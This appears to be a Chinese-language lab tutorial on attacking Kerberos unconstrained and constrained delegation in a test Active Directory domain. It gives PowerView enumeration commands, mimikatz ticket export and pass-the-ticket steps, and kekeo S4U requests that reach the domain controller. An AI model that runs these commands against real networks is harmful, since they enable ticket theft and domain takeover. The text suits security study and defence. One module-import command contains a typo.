域渗透-Kerberos委派学习
委派
举个例子,在域中如果出现A主机使用Kerberos身份验证访问域中的服务http,而http再利用A的身份去请求域中的服务sql,这个借用身份验证过程就可以理解为委派。
而委派主要分为非约束委派和约束委派两个方式。
- 非约束委派
非约束委派在Kerberos中实现时,User会将从KDC处得到的TGT(入场券)发送给访问的服务1(可以是任意服务),服务1拿到TGT之后可以通过TGT申请TS(票据)访问域内任意其他服务,所以被称为非约束委派。 - 约束委派
由于非约束委派的不安全性,微软在windows2003中发布了约束委派的功能。约束委派在Kerberos中User不会直接发送TGT给服务,而是对发送给service1的认证信息做了限制,不允许service1代表User使用这个TGT去访问其他服务。这里包括一组名为S4U2Self(Service for User to Self)和S4U2Proxy(Service forUser to Proxy)的Kerberos协议扩展。
非约束委派
非约束委派设置
我随便设置了一个。
setspn -A http/owa.god.org:80 liukaifeng01
域控上把账号属性中的委派设置为完全信任。
发现非约束委派主机或账户
用到一个框架PowerSploit中的PowerView。建议两个分支都下。
这里先用到master分支。切到Recon目录,打开powershell。
先查询用户。
Imort-Module ./PowerView.ps1
Get-NetUser -Unconstrained -Domain god.org
查询主机。
Get-NetComputer -TrustedToAuth -Domain god.org
非约束委派利用
先在域控上登陆域管,访问下域成员主机的smb服务(生成下TGT)。
然后在域成员上用mimikatz导出所有的内存中的票据。(需要管理员权限的)
kerberos::tickets /export
此时去域成员去访问域控的smb是拒绝访问的。
然后导入票据。
kerberos::ptt xxxxxxxx.kirbi
这时候再试试访问可以发现成功了。
约束委派
约束委派设置
如图在委派设置中设置为仅信任指定服务。
发现约束委派主机或账户
用到的是PowerSploit的dev分支。
先查询用户。
Imort-Module ./PowerView.ps1
Get-DomainUser -TrustedToAuth -Domain god.org
查询主机。
Get-DomainComputer -TrustedToAuth -Domain god.org
约束委派利用
首先用kekeo.exe去申请TGT。
tgt::ask /user:liukaifeng01 /domain:god.org /password:123qwe!@# /ticket:liukaifeng01.kirbi
然后去利用这个TGT申请TGS票据,试了好几次失败了。
找了下原因是因为策略问题,修改了下本地安全策略的kerberos加密方式为RC4加密,然后更新策略。
再申请一次,成功了。
tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/owa.god.org
然后用mimikatz导入票据再去访问域控,可以发现已经可以了。